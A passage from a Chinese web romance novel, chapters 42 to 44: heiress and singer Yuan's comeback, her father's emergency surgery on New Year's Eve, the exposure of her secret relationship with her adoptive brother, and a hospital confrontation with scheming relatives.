柚安玩了玩他的手指头,顺势将他手腕的布条解开。 “这个是……”林鸣修翻腕,勾起布条来看。 柚安一把将水龙头关了,“洗好了,我做饭去。” 挣了一下,腰上的一双手臂却箍地更紧了。 “你剪了我的衬衫?” 柚安嘴角扯出个生硬的弧度。 “反正被吐脏了……话说你怎么有这么多一模一样的黑衬衣?是以前当保镖时攒下的工作服吗?” 林鸣修:“……” 无语的这瞬间,人又被推回床上躺着。 柚安照着教程煮了一锅白粥,还算成功,细密绵软,米香四溢,她成就感爆棚。 病人没有胃口,被按着吃了半碗,再喝过一次药,又睡过去。 这回他没有皱眉,睡姿平稳,睡梦中嗫嚅了两次柚安的名字,不知道做的什么梦。 柚安窝进床边的阅读椅,戴上耳机为新歌润色。 几天前,由黎燃牵线,将demo推荐给他的制作人,这会儿刚收到回信,制作人想约柚安见一面,同时为她介绍一位经纪人。柚安想在见面前,将demo准备地再成熟一点。 第二天,林鸣修身体好了一些,又去公司了。柚安一个人开车回港,和制作人见面。 两人的音乐理念很契合,与经纪人也相谈甚欢。 比起过去的旧闻,他们更期待她今后的价值。 如此又见了几位唱片公司的高层,两方很快达成一致,顺利签约。 柚安还是那个条件:不对外披露她的家世,拿这些当宣传噱头。 虽然港城这么个小地方,娱乐圈红人的身份背景很难不被扒个底朝天,但是艺人方和经纪公司保护得好,还是能控制一些舆论的。 年前,梁太跟柚安约了个饭,只有她们两个。 柚安依约来到餐厅的时候,梁太正在看有关她的短视频—— “说起2022年最具话题性的娱乐新闻,那必须是‘柚皮酒店惊魂事件’,当事人分别是当年大火的歌坛新锐林柚安,和她所代言的法国奢侈品牌XX高层皮耶。那一夜究竟发生了什么,到现在也没有人能说清楚……” 三年前的旧闻了,视频却是新出的,发布在某娱乐八卦区。这类Up主最擅长在当事人有新动态时,将他们耸动一时的旧闻挖出来,整理再版,提醒网友常看常新,不要遗忘。 梁太一开始没注意柚安来了,等看见时,Up主已经绘声绘色地盘点完整件风流野史,画面定格在柚安衣衫不整从酒店的旋转门跌出来,裸露的肩头沾着血。 正要将视频掀走,却看见柚安饶有兴致地盯着屏幕,仿佛在看一部肥皂剧。 梁太悬起的手,就这么顿住了。 视频播到后面,就是各种关于柚安私下为人的探究—— 一起录制综艺的艺人说她有金主,待遇明显跟其他人不一样;音综幕后工作人员说她的冠军怎么来的,内部人士都明白;邻居说她带不同的男人回家,夜夜笙歌;甚至采访到一个自称载过她和皮耶的计程车司机,说两人在后排旁若无人地偷情…… 柚安看到这里笑不可遏。 梁太抬手熄了屏,摇摇头说:“编成这样也有人信。” “啊,抱歉啊,”她似乎这才留意到柚安,“等你时无聊,随便刷刷视频,哪知道就刷到你了。那些自媒体嗅到你要复出风声就冲上来,吃相难看得很。” 柚安抿一口茶说:“我确实打算复出,已经在筹备发歌了。” “真的?哎呀,这么快呀,”梁太面露惊讶,“那算算日子,你给嘉仪他们写歌的时候,就在准备了。” 柚安笑一笑说:“心血来潮。” 提到一对子女,梁太颇有抱怨,恨铁不成钢地说:“如果他们像你这么有效率,又聪明,就不会到现在还卡在一首歌上,无能愤怒了。” 柚安猜到梁太约她,就是为这事,顺着她的话说:“我听说他们录歌出了点问题,还没有解决吗?嘉仪一定很生气吧,我改天约她聊一聊,不知能否安慰到她。” “还是不要,”梁太拍了拍她的手背,“那丫头找了一圈没揪出勒索的人,又看到你要复出,竟红了眼,魔怔似的,怀疑到你身上,要不是我拦着,哎……” 柚安微笑说:“嘉仪年纪小,难免冲动易怒,但小有小的好,一股冲劲,挺可爱的。” 梁太意外她没有喊冤,反而夸起人来,提到嘉仪,一种长辈看小辈的态度。 实则她比嘉仪和嘉栋大不了两岁,他们这个年纪的时候,柚安已经在娱乐圈风光过一圈,上天又下地了。 “不用替她说话,我是骂过她的,我知道,你不是这样的人,如果真的这么小气,当初又怎么会大方割爱呢?” 梁太顿了顿,捏起茶杯,将茶慢慢饮尽。 “我这个人,没有什么经商的才能,一点闲钱全投在鹤堂的场子上了,不是有什么投资眼光,就光是敬重他这个人而已。林鹤堂的女儿,格局不会小,拿到好处就在背后使小动作这种事,你做不出来的。我跟鹤堂的合作,不在一朝一夕,是长久,是终生的,跟你,不也是一样吗?” 已经跳过试探,直接点她了,柚安知道,这事自证起来,唯有自己吃亏。 她是怀疑过的,这很像林鸣修的作风,但没和他确认过。因为不想把仅有的一点相聚时光,浪费在这样无聊的小事上。 同样的,和梁太喝茶的机会不是时时都有,若是将心力浪费在自证清白上,也太傻了。 她眼睛一弯,眼神明朗清亮,“我是不知道那人是谁啦,但是不论是谁,梁太您都该感激他才对啊。” 梁太哑然数秒,笑了。 “噢?这话怎么讲呢?” 柚安气定神闲,“嘉仪和嘉栋有这么高贵的出生,又在高等学府打磨多年,若是在艺术方面有更高的造诣,成名成家,名声斐然国际,那必定能为梁家增光添彩,您在社交界也能更添一注扬眉的筹码。若是下得凡尘,在娱乐圈打滚,收获一番追捧,红遍港岛新界,拿满高奢商务的资源,也能为家族积攒名声,扩展势力。但是呢……” “但是什么?”梁太眼色微凝。 “但是现在看来,明显两头都差那么一点,”柚安莞尔,“靠着我这首勉强上得台面的曲子,是误打误撞收割了一波,但进了娱乐圈,遇到的可是各种各样的牛鬼蛇神,幸运总不可能一直降临。” “您也看过我的笑话了,想必对圈子里的各方花样都有所了解,试问以嘉仪和嘉栋现在的能力和经验,能应对地好吗?到时候,岂不是事事都要您出面来擦屁股?” “倒不如借着这事,转头思考一下,是换条路走,还是回伯克利再积累个几年,等羽翼丰盈,也不迟。” “啊,我说话不好听,您别生气。当年也是因为情商低,处处被绊,想起来,真是一肚子无奈。”柚安叹了一声,低头去冲茶。 修长的手指将紫砂壶稳稳高悬,单丛的香气瞬间被水流的冲击激发出来,蒸汽朦胧。 约十多秒后,将茶汤先分给梁太,再分自己。 梁太愣住,少倾后大笑:“你说得太客气了!” 不如直说那两个二世祖不成气候,亮出来,只会丢她的脸。 但她不生气,一点儿也不生气。 因为看透这番局面又肯直言相告的,找不出第二个了。 “你倒真会为我着想。”梁太端起茶杯闻了闻,露出满意的笑容。 “小时候一直跟家父对着干,一意孤行翻车之后,竟理解了他的难处跟顾虑,移用到您身上,这份难处,也是相通的。” 梁太点头,“想来,鹤堂和我还不一样,全副心思都在商场,他应该对你进入娱乐圈,更加反对吧?不得了,你是怎么干赢他的?” 柚安想了想,忽而一笑,那笑容像早春的樱,花瓣尖儿沾着湿润的晨露。 “可能因为我们家,有人替我顶锅兜底,收拾残局吧。” 第42章 但是每一个字砸在柚安耳…… 年关, 港城泡在糖炒栗子的焦香里。 弥敦道的广告牌换成“贺岁”主题,裹上金红绸缎,巨型电子屏循环播放着贺岁短片;周大福的金饰柜用红灯笼串成心形,SASA的橱窗里模特抱着桃花枝比心。 往年这个时候, 四海都要举办一场盛大的年夜宴, 邀请重要股东和高层共襄盛举。 以往几年都是林鸣修操办, 今年不好再交给他了。 林景琛毛遂自荐, 信心满满, 最后还是被林鹤堂拒绝了,他以身体需要静养为由, 一切从简,取消了高层的年夜宴, 只留下四海全员庆祝的年会,由行政部门牵头。 至于家宴, 只安排一家三口吃一顿年夜饭。 至于林鸣修, 更是连人也不见。 忙完分公司的年终大会, 和深圳绿色能源社区的各项审核递交后, 便马不停蹄地奔赴东京, 参加自行车公路赛去了。 柚安与他上一次见面,还是他胃病那天, 在深圳。 之后, 就只有视频通话。 林鸣修似乎并没有变得开朗一点, 他依旧话少,但他们每次通话都可以聊一整夜。 对柚安签约的进展,录歌的细节,制作团队磨合的种种趣事,年后的宣传和演出安排……他都十分感兴趣。 他就像一个忠实的粉丝, 乐于倾听她吃了什么好吃的,写了句什么样令她满意的歌词或旋律,就连和制作人吵架吵输了,也能饶有兴致地听上半天,然后帮她复盘,出谋划策,择日再阴回去…… 至于是否回来吃团年饭,他们却都心照不宣地未曾提及。 柚安理解林鸣修如今身份的尴尬,以他们如今的关系,同时出现在父母眼皮子底下,能演得毫无破绽才怪。 年夜饭这么珍惜的日子,林鸣修还是想留给柚安,让她轻松舒服地陪伴家人,便自觉隐身。 除夕,大街小巷飘散着年味,夕阳之下,长街像被撒了把碎金。 柚安站在Echoes&Elixirs门口,提前关了店,招牌上的“E”歪了有一些时了,等工人师傅修好,就开车回家陪父母吃团圆饭。 不远处的年花档口很热闹,水仙开得正盛,白瓣黄蕊的“金盏银台”摆成塔状,老板娘用粤语喊:“靓女,拣盆水仙啦!摆客厅旺宅的!”穿西装的上班族挤在摊前挑花,女朋友在一旁扒拉着橘子笑:“买这么大盆,回家放不下怎么办?”老板娘立刻截胡:“小妹放心,我帮你捆好,放电梯里正好!” 风里飘着水仙的甜腻的香味,裹着湿冷的空气,往人领口钻。 柚安紧了紧驼色大衣,望了眼对街的馄饨面店。 残阳已经斜得厉害,把馄饨面店的木招牌晒得发暖。 店门前支了顶红帐篷,里头坐了三桌银发老人,老板娘端着砂锅出来:“阿伯,您的蟹籽鲜肉云吞趁热吃!”阿伯捧着碗,白气模糊了眼镜。 柚安过了街,老板娘立即认出她来,手脚麻利地收拾上一桌的碗碟,一面问她,还回家吃年夜饭吗? “要吃的,”柚安笑着说,“不妨碍我先尝您这一口。” 老板娘笑眯眯地进去了,稍顷,端出一大碗馄饨面,放在她面前。 迟疑了一会儿,问:“鸣修还好吧?” “他好着呢。”柚安答。 “那就好,”老板娘说,“我自从他找到我这里,也总是除夕来吃一碗馄饨,后来我才知道,他父母过世了……今年他不来,我还有点七上八下的。” “是吗?”柚安看着空无一人的方桌对面,放佛能够林鸣修孤身一人坐在这里吃馄饨的情景,心里一声叹息。 那他们这是不是也算吃了顿团年饭?她是否坐在他曾经坐过的位置?柚安一时心绪万千。 “您放心,他出国参加自行车赛了,等回来,肯定第一件事就是来这儿。”热汤腾起雾气模糊了她的笑。 “那就好。”老板娘走时凑近了些,“祝你们俩新年快乐,食到开胃。” “谢谢。”柚安低头搅汤,白瓷勺碰着碗沿叮当作响。 街对面的招牌终于被摆正,工人做最后的调试,霓虹灯光在数个字母上依次亮起,忽明忽暗。 花市也收摊了,人潮散去,都往家赶。 最后,电工也收拾工具走了,常年顾客络绎不绝的店门口,此刻只余微弱的黄色灯光还亮着。 柚安隔街望着,心神恍惚。 就在这时,一辆熟悉的黑色路虎开进视野。柚安呼吸一滞,下一秒,就看到林鸣修落下车来。 黑色大衣衬得肩线更挺,他靠着车门,微微仰头看着招牌,仿佛好整以暇地在等她出现。 柚安心里掀起一场浩大激昂的交响乐,踩着定音鼓浑厚的鼓点,心跳如重锤落下。 她想也不想,立即起身,奔过马路,就朝他冲去,夕阳的最后一抹鎏金,正好落在他仰起的侧脸上。 心跳声盖过了车鸣。 夕阳把她的影子拉得老长,和对面那道影子叠在一起。 没多久,他反应过来。转头的瞬间,一只小鹿正好砸进他怀里。 他被冲得后退了半步,刹那愣怔之后,赶紧腿部发力加以支撑,然后伸臂将她紧紧抱住。 “没参加公路赛吗?”柚安仰头问。 “没,”林鸣修伸手,将她冻红的耳朵捂进掌心,“我不想再一个人过年了。” 说着,身体一转,将柚安抵在车门上,偏头吻了上来。 风裹着糖炒栗子的焦香掠过街角,暮色漫上来,街灯在两人身后,渐次亮起。 他掌心里的温度像团火苗,顺着耳骨往她脖颈里钻。手从她后颈滑到腰际,又慢慢抚过她后背,将她贴向自己,柚安双臂勾着他的脖颈,换气间,熟悉的气息扫过鼻尖。 远处的维港烟花突然炸开,噼里啪啦的响声里,远远地有人举着拍立得喊“看这里!”,他们谁都没动。 这个吻持续了很久,直到再不回夏山郡,真的要被林鹤堂骂了,才依依不舍分开。 “订酒店了吗?”临走柚安问。 “在半山买了处别墅,想等收拾好了再告诉你的。” “这么快?”柚安稍有纳闷,总感觉他没有在港城置办物业的想法,倒是那次回深圳,知道他陆续购置了好几处房产。想着到底是故乡,也是父母祖坟所在,感情要深些。 林鸣修坦然道:“为结婚考虑,备栋房子是必须的。” 柚安霎时慌了,“想太多了吧!” 林鸣修看她半晌,嘴角一弯,说:“吓你的,酒店总有人蹲我,住着不习惯。况且那边地段很好,用作投资也不亏,改天带你去看看。” “……” “初三下午我会登门拜访,如果你觉得尴尬,就找借口出个门。” “知道了,”柚安嘟囔,“我有什么好害怕的……” 再说下去没完没了,天都黑了,只好暂作分别。 回去的路上,时常能看到经过的轿车,车窗溢出一大簇鲜嫩紫红的蝴蝶兰,或是果实紧紧挨挨的金桔树,柚安将车窗半降,风甜甜的,橘子香气令人心旷神怡。果真是年关,一切都好有生气,好有盼头。 车快要开到山脚下的时候,尹晴来了电话,柚安随手接起来,撒娇的语气,“好了好了,马上开进来了,妈您别急,准备好红包了没有哇?” 那边一时间却没有说话,只有沉重的呼吸声。 柚安心里一沉,轻声问:“怎么了,妈?” “你爸爸他刚才突然咳血不止,我们……现在,在救护车上,估计要紧急手术。”声音因极力隐忍,而显得很弱。 但是每一个字砸在柚安耳朵里,都如响雷。 “怎么会这样?”来不及思考,视线已经模糊了。 那边不再有回应,估计尹晴也不知道该说什么,除了全力以赴让自己不至于崩溃,什么也做不了,什么也回答不上来。 “我知道了,妈,还是养和医院吗?” “是。” “这就来,先挂了。”柚安胡乱抹了把眼泪,湿漉漉的手指往屏幕一扫,挂断了电话。 前方紧急掉头,加快油门,可是手渐渐地扶不住方向盘了,她看到手指在抽动,这才发觉自己整个身体都在不自主地发抖。 不得已将车刹停在路边,打着双闪,趴在方向盘上平复了好一会儿,还是不行,于是打了个电话让司机来接自己。 点开通讯录的时候,下意识就要去点林鸣修的号码。 这才发现不管是以前还是现在,他永远是那个有求必应的“司机”。 但是这个时候显然不适合。 他的存在只能让场面更加失控,遑论他已经没有了存在的立场。 被司机送到养和医院,柚安火急火燎奔赴七楼。得知林鹤堂已经被推进手术室了,她又赶往手术室。 尹晴正痴痴地坐在门口,柚安二话没说跑过去拥住她,“没事的,我来了。” 脖子蹭到母亲湿润的眼睛,泪水一滴滴顺着皮肤滑落。 半晌,尹晴拍了拍她的背,平静地说:“会没事的。” 刚要坐下,尹晴的手机震了一下,似乎是来了新消息,原本没有锁屏的界面自动亮起,柚安扫过一眼,瞬间汗毛炸立,快要窒息。 不知跟谁的聊天界面上,赫然出现她和林鸣修接吻的照片。 就在刚才! Echoes&Elixirs的门口! 尹晴装作若无其事想要息屏,却被柚安手快一步,夺过手机一看,那竟是她跟陈静淑的聊天界面。 新发来的是一行文字:【是养和医院吧?我和鹏海这就过来。】 而上几行,也就是几分钟前的文字是:【要不是我跟狗仔熟,第一时间买了这些照片,现在我们家,可就是全港城,不,全国春节档的第一个笑话了!】 第43章 “他这种人,如果没有我…… 其实照片很模糊, 面对镜头的是柚安,分辨不清男人是谁。 但是尹晴怎么会认不出自家孩子? 空气一瞬间陷入死寂。 冰冷的日光灯照在惨白的墙壁上,空无一人的病院走廊,恍如末日下, 无人生还的废墟。 柚安大脑一片空白, 那种感觉, 好像是前一秒刚刚起步飞行的幼鸟, 还在向往蓝天, 下一秒就猝不及防被钉在墙上。 来不及反应的那几秒里,大脑还在自我欺骗, 毕竟两桩突如其来的灾难撞在一起,巧合得不像是真的。 然而只是不小心瞥到尹晴难过的脸色, 那被恍惚感所掩盖的残酷现实,便立刻具象化, 扑面砸来, 不允许一点侥幸。 其实敏锐如她, 早就隐约感到尹晴不是全不知情。母亲只是一直小心斟酌着, 不敢轻易戳破。 对方如此, 她也便习惯性地将头埋进沙子里,拒绝面对。 这一刻, 算是逃避到头了。 可是母女心照不宣的秘密, 以这样的方式被揭穿, 实在让她不爽。 “妈……”一阵似乎是无限漫长的沉默过后,跨过张惶与无措,她决心就此将一切摊牌。 不是一个适合长谈的时机,但倘若她与林鸣修的关系到了一定要让母亲知道的地步,也应该是由她自己, 面对面亲自说出来,而不是让第三者,用一张偷拍照来做文章。 尹晴掀了掀眼,知道她要说什么,情绪尚且平静。 “我和他在一起了。”柚安一字一句,低声说。 尹晴苦笑,“以前应该叫哥哥你不叫,现在……更不知道该叫什么了。” 柚安低眉道:“对不起,我把一切都搞乱了。” “现在害怕了吗?” 尹晴看着她,将手机屏幕划开,将与陈静淑的聊天记录原原本本摊开在她面前,那些听起来好像会下地狱的罪名,一个一个被对方丢出来—— 乱|伦,私生活混乱,私通,苟且,不孝,窃家…… 借题发挥的小作文占了满满一页屏幕,遣词造句十分符合陈静淑的风格。 若不是早就有所察觉,尹晴这会儿,说不定也躺在病床上。 而她现在比柚安还平静。 “当年,鸣修拜你父亲作义父,当着满场举足轻重的人物,他向你父亲磕了三个响头,咚咚咚三下,掷地有声。再上香敬拜列祖列宗,敬茶改姓改称谓,一些列烦杂的程序,步步都不含糊。你父亲的世交好友、四海的股东高层、港岛政界、商界有头有脸的人物,都是座下见证,何其郑重。” “你气呼呼地提前就走了,还不知道当时的盛况吧?” 以一个创作人的想象力,柚安就算没有亲历,也并非不能感同身受。 林鸣修挑了林鹤堂病重,四海最风雨飘摇的时刻改姓割席,若是换位为当时的见证者,如今见到这小辈,她也想吐一口唾沫,骂一句“白眼狼”。 顶着这样的压力在深圳艰苦运营分公司,为新项目开疆辟土,还要盯着总公司这边的豺狼虎豹,难怪将自己逼出一身病痛。 如果再爆出陈静淑口中的小作文,那唾沫恨不得变成流弹,砸在他脸上。 他们脸上。 “我懂您的意思。”柚安垂眸,紧紧攥住拳头,指尖深深嵌入掌心。心脏部位好像慢慢裂开一条缝,左右撕扯。 “但是啊……” 尹晴认真地看着她。 柚安惨白的脸上划过一丝笑意,“他这种人,如果没有我,会孤独终老,很可怜的。” “我也是。”半晌,她说。 说完许久,一再鼓起勇气,还是无法抬头正视母亲的脸。 那是她最亲的亲人,不是媒体或是股东,也不是陈静淑那样拿着煽风点火的看客。 话说得再决绝,在尹晴面前,仍是个做错了事,等待宣判的小孩。 惶恐地很。 挂壁的时钟发出规律的“咔哒”,“咔哒”…… 只能听到这声音,柚安努力地吸气、呼气,还是觉得缺氧般难受。 这时一列脚步声靠近,主导医生助理拿着一叠化验单小跑过来,后头跟着几名护士和其他助理。 僵窒的氛围于一瞬间消散,母女俩同时站起身来,面色凝重。 是活检报告出来了,结果显示,切掉的结节是良性,但病人肺部发炎很严重,手术大约还有一小时结束。 一行人交代完毕,再度走入手术室,门外的两人心情更加焦虑,那进行到一半,没有结果的对话,又加重了两人的焦灼,周遭仿佛陷入火山爆发前,滚滚岩浆的炙烤。 尹晴下巴指了指手术室,落下判词:“别让他知道。” 只是碍于时局的妥协。 柚安轻轻点头,别过脸去。 尹晴往椅背上一靠,紧张和压力让她眼压上升,她摸索出随身携带的眼药水,仰头滴注。 柚安见状,提出扶她去病房躺着,自己留在这里等。 尹晴实在不适,只有答应。 柚安安顿好尹晴,从病房出来,去往手术室的路上,听到“叮咚”一声,她心口重重跳了一下。 与上次一样,七层依旧是被林鹤堂包下,没有别的病人,就连医护也鲜少看见。 林鹤堂才刚出事,她们不敢通知任何人,然而盯着林家的眼睛不计其数。 电梯门一开,不管是谁,来的都是不速之客。 她的预感成真了,一抬眼,就看到林鹏海和陈静淑从电梯里走了出来,后面还跟着两名脸生的男人,穿黑色冲锋衣,拿着小型手持摄像机,与林鹏海夫妇保持了一段距离。一出电梯,一行人便四处打量张望。 没有了第一次住院时,林鸣修的严密安排,这次消息走漏得飞快。 林鹏海不但第一时间知道了,还明目张胆带了两个跟班,无所顾忌…… 柚安盛怒,紧走了两步,没来得及开口喊住两人,却先听见他们讨论起自己。 陈静淑说:“鹤堂也是气运背,辛苦打拼了一辈子,商业帝国是建立起来了,一个儿子没拼出来,只有那么个不成器的女儿,好不容易认个儿子,培养出来却是个狼子野心的,家业也要,人也要。说他林鸣修这么多年不近女色,哼,哪有正常男人没有色心的?我早就看出来他色胆包天,一直在装而已。” 她语气松快,好像只有她发现的秘密现在终于见天日了。 林鹏海则说:“四海不止他林鹤堂一个人的功劳,我当初不也是开荒牛?现在虽然退居幕后了,但是我们三个儿子也都尽心尽力啊,不多说了,反正,现在只有林鸣修威胁最大。他虽然不在董事会,但是既然收服了柚安,那她手上的股份迟早会被他骗到手,说不定,尹晴身上的股份,他也惦记着。” “对啊,尹晴重感情,对那小子像亲儿子一样,我都说得那么不堪入目了,她都舍不得责怪一句呢!”陈静淑恨铁不成钢地说,“要我说,柚安私生活这么放荡,早些年跟那个法国老头子,现在又搞出不伦的事情,都是尹晴给惯的,只生了这么个女儿,还惯成个惹事精……啊……” 陈静淑话说到一半,后脑突然被什么砸了一下,眼前一黑,差点晕过去。 捂着脑袋回头一看,居然是柚安,砸她是瓶酒精消毒液。 柚安原本是砸林鹏海的,没成想他反应快,往陈静淑身前躲了一下,逃过一劫。 林鹏海略过了下意识拿夫人当人肉盾牌的事,怒不可遏朝向柚安,“你这是干什么?” 柚安鲜少冲动,在长辈面前装样子,她还是很会的。可是既然他们将她说得这样不堪,何不就真的不成体统给他们看? 她没有理会大伯,而是直接拿出手机安排安保,一开口就将所有保镖都调了过来,一双明澈的眼睛盯着林鹏海和陈静淑,她清清楚楚在电话里讲:“没有我的允许,总督来了七楼也请他打道回府。” 继而挂断电话,对面前二人说:“滚。” 林鹏海都已经找到这里,那父亲的情况是彻底瞒不住了,养和医院也将分分钟被媒体的长枪短炮包围。 既然这样,她们也无需再低调。 接到柚安的命令,守在医院和七楼的保镖从各处走出来,阻住林鹏海的去路。 林鹏海刚被扔了瓶子,现在又被下令驱逐,被一个后辈,哪里甘心得了? “柚安,你是越发无法无天了,鹤堂在手术室里,我这个大伯勉为其难替他管教管教你,让路!” 柚安非但没有退开,就连挡在他们身前的保镖都寸步不让。 “让开!”林鹏海朝保镖喝了一句,“你们就听这个黄毛丫头的?不要逼我喊人上来!” 为首的保镖不说话,径直上前架住林鹏海的胳膊。那表情好像在说:不听大小姐的,难道听你这个外人的? 另有几个保镖上前,制住拿摄像头的男人,抬手就将机器砸碎,又去搜二人的身。 场面一片狼狈,夫妇俩气得大声叫嚣,陈静淑尖声嚷道:“你知道我有你和林鸣修的照片吗?想扩散地到处都是吗?我怕到时候,鹤堂不管被抢救回来都少次,都要被你这个不孝女气死吧!” 两个微型录音设备被保镖搜了出来,又一阵砸碎东西的声音,连同两人手机一并被没收。 后者期期艾艾地控诉:“你们是保镖还是土匪!我报警了!” “你们别吵!”陈静淑朝他们嚷。而后携着“致胜法宝”走到柚安面前,将照片怼到她面前,等待着她被吓傻的反应。 柚安眼皮也不掀一下,“哦,那就先把传播源控制起来吧。” 语罢,一个一米九的保镖朝陈静淑走来,凶神恶煞。 见识过一番□□的陈静淑瞬间双腿发软,一不小心跌坐到地上,一个字也说不出来。 柚安笑着走上前,“吓你的,大伯母。” 她捏着对方的胳膊,将惊魂未定地女人拽起来,携着笑意说:“不过您是了解我的,我又爱惹事,又风流浪荡,媒体都爆过的,还有什么名节好维护的?我们家乱成这样,您不想想,我爸妈是不是早比您更了解我?咋咋呼呼演半天,您吓唬个屁啊?有空还是多担心担心景琛哥养小白脸,景烁哥到处参加野鸡局的事吧,有没有染病啊?” “你瞎说什么乱七八糟的!”陈静淑惊愕。 “啊,您还不知道啊!”柚安扮作遗憾,“我也是听别人说的。您啊,怎么老拿清白来制约我呢?在乎这个东西的只有您而已,恰恰您家最脏。” 就在陈静淑气得血压飙升的时候,柚安转而对林鹏海道:“放心,我的股份就是我的股份,不会转给任何人。不过,董事会我倒是蛮有兴趣的。” 林鹏海开口斥她:“信口开河!你爸躺在医院里,谁给你撑腰进董事会?林鸣修吗?你看他还能在四海待多久!” 柚安平静地说:“我不是吓你,是通知你。推举我的人是梁太。” 林鹏海张着嘴,困惑地瞪大双眼。 “有一点您说得很对,我是什么都不会,只知道惹事,所以以后在董事会,应该会给您和景琛哥惹不少事,反正我又这个二世祖,没别的事做。” 第44章 “我不能什么都不在乎……… 林鹏海一行人很快被带离, 养和医院七楼又变得安静起来。 柚安瞬间瘫软,拖着步子挪回电梯厅,去往手术室。 显示手术中的红灯还亮着,她看了一眼, 低头, 双手支在膝上, 直愣愣盯着地板。 几息过后, 指示灯倏然变绿, 白色的大门吱呀一声被推开,她看到昏迷中的父亲被推出来, 脸瘦得只剩一层皮。 “病人脱离生命危险了,”主刀医生说, “但是需要在ICU观察几天。” 柚安没有表情地点头,目光紧紧追随着那张憔悴地令她陌生的脸。 医生摘下口罩, 与她交代术中情况, 她赶紧聚精会神, 记下该注意的。 说完, 道了句谢, 快步往病房赶。 不一会儿,她带着尹晴来到ICU病房门口。家属不能进去, 隔着玻璃, 看到林鹤堂被插满仪器, 尹晴终于忍不住,哭了一遭。 柚安默默地陪在旁边,努力回想刚才医生嘱咐的话,生怕遗漏些什么。 就在这时,一道熟悉的身影闯入余光, 目光一颤,心脏猛然落了一拍,心跳轰隆。 “怎么样了?”林鸣修目光落在她身上,伸手安抚尹晴,靠近她的那只手则空空握了握拳,继而攥紧。 “你来啦,”尹晴擦着眼泪,轻轻摇头,“你爸没事,最危险的时候已经过去了。” 林鸣修低头抚了抚尹晴的背,仔细查看她红肿的眼睛,慢慢将她往病房带。 “这里二十四小时有专人看护,没事的,我们先回去休息,吃过了吗?眼睛需不需要找医生看看?” 尹晴现在的情绪,自然无法回答这些问题,林鸣修问完,看向柚安。 目光相触,柚安心脏的撕扯感蓦地加重,表面上却装作没事。 “妈,妈她刚才眼睛痛,又哭过,滴过眼药了……”接着又复述了一遍林鹤堂的情况,背课文一样。说着话,顺势走到尹晴的另一边,搀扶住她。 林鸣修目光在她脸上滞留了片刻,没再问什么。 一路上都很安静,有几次,他不动声色地越过尹晴,看了柚安几眼,她目视前方,脸色跟冰霜一样。 回到病房,林鸣修帮尹晴滴眼药,敷中药眼贴,柚安则坐在远处的沙发上,静静地望向窗外。这里安静地不像除夕夜。 尹晴吃过药,渐渐睡去了。 林鸣修的目光移向柚安,看着她走神,隔着床问:“听说大伯来过了?” 柚安这才回神,看了看睡着的尹晴,说:“嗯,闹了一场,被我撵走了。” 林鸣修笑了笑,“你这么厉害啊。” 柚安刚要开口,护士敲了敲门走进来,她瞬间收敛表情。 护士向家属汇报了病人的情况,让他们放心,目前各项指标已经趋于稳定。 “新年快乐。”说罢,她们将热汤和水果放在餐桌上。 柚安疏冷地说声“谢谢”,天鹅颈微微一弯。 作为这家医院七楼的护士,她们看多了豪门的狗血戏码,职业性地守口如瓶。 而林家的大小姐,绝对是各色人物中的翘楚。永远冷静矜持,脊背挺立,面对林鹏海那样的人物,又是那般气场卓绝,傲气逼人。 如今她坐在窗前,像只傲立雪霜的白梅,气质冷冽沉稳,无端叫人沉服。 两个护士腼腆一笑,出去了。 殊不知这一切,只是柚安骗人的伪装。在人前收起软弱,在敌人面前虚张声势,是被逼独自面对一系列变故时,一瞬间就学会,并且灌注进骨血的事情,连她都未曾察觉。 可是自打听到敲门声起,她得内心就像只受惊的小猫,不断在炸毛。 不知道自己在害怕些什么。 面对陈静淑时,明明可以挺直腰杆说出那样的话,林鸣修一来,就什么都不对了,满脑子都是那张接吻照片,那丁点骨气,渐渐土崩瓦解。 林鸣修不着痕迹地瞥着她。 空气冷却数秒,他将大衣挽到前臂上,“那我先走了,晚上如果辛苦,多叫几个看护过来陪着。” 柚安“嗯”了声。 “不用送了。”林鸣修最后看了看她,她却不敢扭向他的方向。 待脚步声远去消失,才重重将自己摔在沙发上,随意捋了把头发,大口呼吸起来,对抗稀薄的空气。 “轰——”的一声,窗外的夜空被除夕的烟火照亮,原来是转点了。稀碎的响声纷杂落下,远处明明暗暗橙花腾空又下坠,被隔绝在所有的热闹之外,病房如大雪冰封。 终于坐不住,她起身活动了一下僵硬的四肢,小心关好房门,打算出去抽支烟。 走在无尽的廊道上,精神浑浑噩噩的,表情却紧绷。哪怕没有人,也不肯松懈一点。 皎白纤细的足踝交织落地,足迹是利落的直线。细跟叩地的声响轻而清晰,在空荡的走廊上回响。任谁看起来,都是那么沉着可靠。 走到廊道尽头,正要伸手去开露台的门时,那门却先开了,一双手伸出来,蓦地将她拉走。 门在身后关上,露台外风声呼啸,新鲜冷冽的空气争先恐后地涌入口鼻。 她知道那双手是谁的,曾给过她温暖,也曾给过她战栗,太熟悉了,因而相触的一刹,那些被强制藏起的恐惧和愤怒,亦如烟花腾空炸裂。 不等他问话,她先开口。 “我能怎么办?”她推了他一把,鼻尖酸涩,“妈知道了,大伯和大伯母也知道了,用不了多久,所有人都会知道!” “你真的是我哥哥吗!三个响头就可以把□□扣在我身上?恬不知耻地威胁我?!他们算什么?也敢拿虚头巴脑的教条来训我!” “可是我能怎么办!爸还在ICU,我还想出歌……我不能什么都不在乎……” “我知道。”林鸣修将她拥入怀里,他的羊毛衫贴着柚安的脸颊,传出他的体温。 柚安颤了一下,血液里的警惕再次被唤醒,“你疯了?真以为这里没人吗!” 越是安静的地方,眼睛越多。她杯弓蛇影,什么都怕,恋情传出的速度在和林鹤堂恢复的速度在较量,哪一样,都是她无从掌控的。惟有守着时间,每分每秒战战兢兢。 她推了他一把,没有推开。他的拥抱明明很轻,像抱着一件易碎的瓷器,小心护着,可就是分不开。 “不要把我刨开,自己一个人面对。”林鸣修哑声说,“我一直都在。” “你能为我做什么?□□事件男主角。” “消失、认罪、浸猪笼……我想想还有什么。” 柚安笑得肩旁一颤一颤,眼泪都笑出来了。 林鸣修展开臂间的大衣,将她笼住, 几个端着托盘的护士经过,他抱着她挪了两步,紧靠玻璃门旁边的墙壁。 烟花在天边轰隆,鞭炮炸响,砸在耳边。 护士停下脚步,隔着玻璃门看烟花,他们在门里的黑暗中缠拥。 这个年,过得算不算惊心动魄?身后是将她藏起来的羊绒大衣,前面是温暖的胸膛,像一座山,柚安听着不知道是谁的心跳,这样想着。 隔天,尹晴醒来,柚安已经洗漱好,正在慢条斯理地喝粥,脸上不见疲色。 见母亲坐起来,她放下瓷勺,过去扶她下床,一面告诉她:“爸的指标不错,等您吃过早饭,我们一起去看他。” 